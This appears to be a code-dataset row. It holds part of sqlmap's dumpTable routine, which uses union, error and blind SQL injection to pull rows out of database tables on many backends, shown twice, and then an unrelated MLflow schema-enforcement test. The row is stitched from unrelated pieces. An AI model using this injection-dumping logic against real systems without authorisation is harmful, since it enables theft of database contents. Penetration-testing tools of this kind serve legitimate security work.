                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = ""%s.%s"" % (conf.db, tbl)

                            if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                                warnMsg += ""you are advised to rerun with '--force-pivoting'""
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (column, column, table, index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(query, blind=False, time=False, dump=True) or """"
                                                row.append(value)

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = ""Ctrl+C detected in dumping phase""
                                        logger.warn(warnMsg)

                            if not entries and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table, colList, blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = ""Ctrl+C detected in dumping phase""
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = _zip(*[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query, blind=False, time=False, dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {""length"": len(column), ""values"": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column][""length""]:
                                    kb.data.dumpedTable[column][""length""] = maxLen

                                kb.data.dumpedTable[column][""values""].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = ""fetching number of ""
                    if conf.col:
                        infoMsg += ""column(s) '%s' "" % colNames
                    infoMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % (""%s.%s"" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = ""table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s' "" % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += ""appears to be empty""
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = ""unable to retrieve the number of ""
                        if conf.col:
                            warnMsg += ""column(s) '%s' "" % colNames
                        warnMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                            table = ""%s.%s"" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = ""%s.%s"" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = ""%s:%s"" % (conf.db, tbl)

                        if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                            warnMsg += ""you are advised to rerun with '--force-pivoting'""
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(query, union=False, error=False, dump=True) or """"

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table, colList, count, blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = ""checking for empty columns""
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression(""(SELECT COUNT(%s) FROM %s)>0"" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = ""column '%s' of table '%s' will not be "" % (column, kb.dumpTable)
                                    debugMsg += ""dumped as it appears to be empty""
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = """"

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {""length"": length, ""values"": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = ""unable to retrieve the entries ""
                    if conf.col:
                        warnMsg += ""of columns '%s' "" % colNames
                    warnMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += ""in database '%s'%s"" % (unsafeSQLIdentificatorNaming(conf.db), "" (permission denied)"" if kb.permissionFlag else """")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable[""__infos__""] = {""count"": entriesCount,
                                                        ""table"": safeSQLIdentificatorNaming(tbl, True),
                                                        ""db"": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = ""an error occurred while attacking ""
                        errMsg += ""table dump ('%s')"" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = ""connection exception detected in dumping phase ""
                errMsg += ""('%s')"" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None",,sqlmapproject/sqlmap,422b1a6f959003501b9d7736b5f9f016ae831044,"def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = ""missing database parameter. sqlmap is going ""
                warnMsg += ""to use the current database to enumerate ""
                warnMsg += ""table(s) entries""
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = ""only one database name is allowed when enumerating ""
                errMsg += ""the tables' columns""
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and conf.db in conf.exclude.split(','):
                infoMsg = ""skipping database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = ""unable to retrieve the tables ""
                errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and tbl in conf.exclude.split(','):
                infoMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = ""%s:%s"" % (conf.db, tbl)
                else:
                    kb.dumpTable = ""%s.%s"" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = ""unable to enumerate the columns for table ""
                    warnMsg += ""'%s' in database"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "", skipping"" if len(tblList) > 1 else """"
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

                if not colList:
                    warnMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "" (no usable column names)""
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = colList
                colNames = colString = "", "".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = ""fetching entries""
                if conf.col:
                    infoMsg += "" of column(s) '%s'"" % colNames
                infoMsg += "" for table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r""\b%s\b"" % re.escape(column), _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = ""%s.%s"" % (conf.db, tbl)

                            if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                                warnMsg += ""you are advised to rerun with '--force-pivoting'""
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (column, column, table, index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(query, blind=False, time=False, dump=True) or """"
                                                row.append(value)

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = ""Ctrl+C detected in dumping phase""
                                        logger.warn(warnMsg)

                            if not entries and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table, colList, blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = ""Ctrl+C detected in dumping phase""
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = _zip(*[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query, blind=False, time=False, dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {""length"": len(column), ""values"": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column][""length""]:
                                    kb.data.dumpedTable[column][""length""] = maxLen

                                kb.data.dumpedTable[column][""values""].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = ""fetching number of ""
                    if conf.col:
                        infoMsg += ""column(s) '%s' "" % colNames
                    infoMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % (""%s.%s"" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = ""table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s' "" % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += ""appears to be empty""
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = ""unable to retrieve the number of ""
                        if conf.col:
                            warnMsg += ""column(s) '%s' "" % colNames
                        warnMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                            table = ""%s.%s"" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = ""%s.%s"" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = ""%s:%s"" % (conf.db, tbl)

                        if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                            warnMsg += ""you are advised to rerun with '--force-pivoting'""
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(query, union=False, error=False, dump=True) or """"

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table, colList, count, blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = ""checking for empty columns""
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression(""(SELECT COUNT(%s) FROM %s)>0"" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = ""column '%s' of table '%s' will not be "" % (column, kb.dumpTable)
                                    debugMsg += ""dumped as it appears to be empty""
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = """"

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {""length"": length, ""values"": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = ""unable to retrieve the entries ""
                    if conf.col:
                        warnMsg += ""of columns '%s' "" % colNames
                    warnMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += ""in database '%s'%s"" % (unsafeSQLIdentificatorNaming(conf.db), "" (permission denied)"" if kb.permissionFlag else """")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable[""__infos__""] = {""count"": entriesCount,
                                                        ""table"": safeSQLIdentificatorNaming(tbl, True),
                                                        ""db"": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = ""an error occurred while attacking ""
                        errMsg += ""table dump ('%s')"" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = ""connection exception detected in dumping phase ""
                errMsg += ""('%s')"" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_model_export_with_loader_module_and_data_path.py,1,"def test_column_schema_enforcement():
    m = Model()
    input_schema = Schema(
        [
            ColSpec(""integer"", ""a""),
            ColSpec(""long"", ""b""),
            ColSpec(""float"", ""c""),
            ColSpec(""double"", ""d""),
            ColSpec(""boolean"", ""e""),
            ColSpec(""string"", ""g""),
            ColSpec(""binary"", ""f""),
            ColSpec(""datetime"", ""h""),
        ]
    )
    m.signature = ModelSignature(inputs=input_schema)
    pyfunc_model = PyFuncModel(model_meta=m, model_impl=TestModel())
    pdf = pd.DataFrame(
        data=[[1, 2, 3, 4, True, ""x"", bytes([1]), ""2021-01-01 00:00:00.1234567""]],
        columns=[""b"", ""d"", ""a"", ""c"", ""e"", ""g"", ""f"", ""h""],
        dtype=np.object,
    )
    pdf[""a""] = pdf[""a""].astype(np.int32)
    pdf[""b""] = pdf[""b""].astype(np.int64)
    pdf[""c""] = pdf[""c""].astype(np.float32)
    pdf[""d""] = pdf[""d""].astype(np.float64)
    pdf[""h""] = pdf[""h""].astype(np.datetime64)
    # test that missing column raises
    with pytest.raises(MlflowException) as ex:
        res = pyfunc_model.predict(pdf[[""b"", ""d"", ""a"", ""e"", ""g"", ""f"", ""h""]])
    assert ""Model is missing inputs"" in str(ex)

    # test that extra column is ignored
    pdf[""x""] = 1

    # test that columns are reordered, extra column is ignored
    res = pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())

    expected_types = dict(zip(input_schema.input_names(), input_schema.pandas_types()))
    # MLflow datetime type in input_schema does not encode precision, so add it for assertions
    expected_types[""h""] = np.dtype(""datetime64[ns]"")
    actual_types = res.dtypes.to_dict()
    assert expected_types == actual_types

    # Test conversions
    # 1. long -> integer raises
    pdf[""a""] = pdf[""a""].astype(np.int64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""a""] = pdf[""a""].astype(np.int32)
    # 2. integer -> long works
    pdf[""b""] = pdf[""b""].astype(np.int32)
    res = pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())
    assert res.dtypes.to_dict() == expected_types
    pdf[""b""] = pdf[""b""].astype(np.int64)

    # 3. unsigned int -> long works
    pdf[""b""] = pdf[""b""].astype(np.uint32)
    res = pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())
    assert res.dtypes.to_dict() == expected_types
    pdf[""b""] = pdf[""b""].astype(np.int64)

    # 4. unsigned int -> int raises
    pdf[""a""] = pdf[""a""].astype(np.uint32)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""a""] = pdf[""a""].astype(np.int32)

    # 5. double -> float raises
    pdf[""c""] = pdf[""c""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""c""] = pdf[""c""].astype(np.float32)

    # 6. float -> double works, double -> float does not
    pdf[""d""] = pdf[""d""].astype(np.float32)
    res = pyfunc_model.predict(pdf)
    assert res.dtypes.to_dict() == expected_types
    assert ""Incompatible input types"" in str(ex)
    pdf[""d""] = pdf[""d""].astype(np.float64)
    pdf[""c""] = pdf[""c""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""c""] = pdf[""c""].astype(np.float32)

    # 7. int -> float raises
    pdf[""c""] = pdf[""c""].astype(np.int32)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""c""] = pdf[""c""].astype(np.float32)

    # 8. int -> double works
    pdf[""d""] = pdf[""d""].astype(np.int32)
    pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())
    assert res.dtypes.to_dict() == expected_types

    # 9. long -> double raises
    pdf[""d""] = pdf[""d""].astype(np.int64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""d""] = pdf[""d""].astype(np.float64)

    # 10. any float -> any int raises
    pdf[""a""] = pdf[""a""].astype(np.float32)
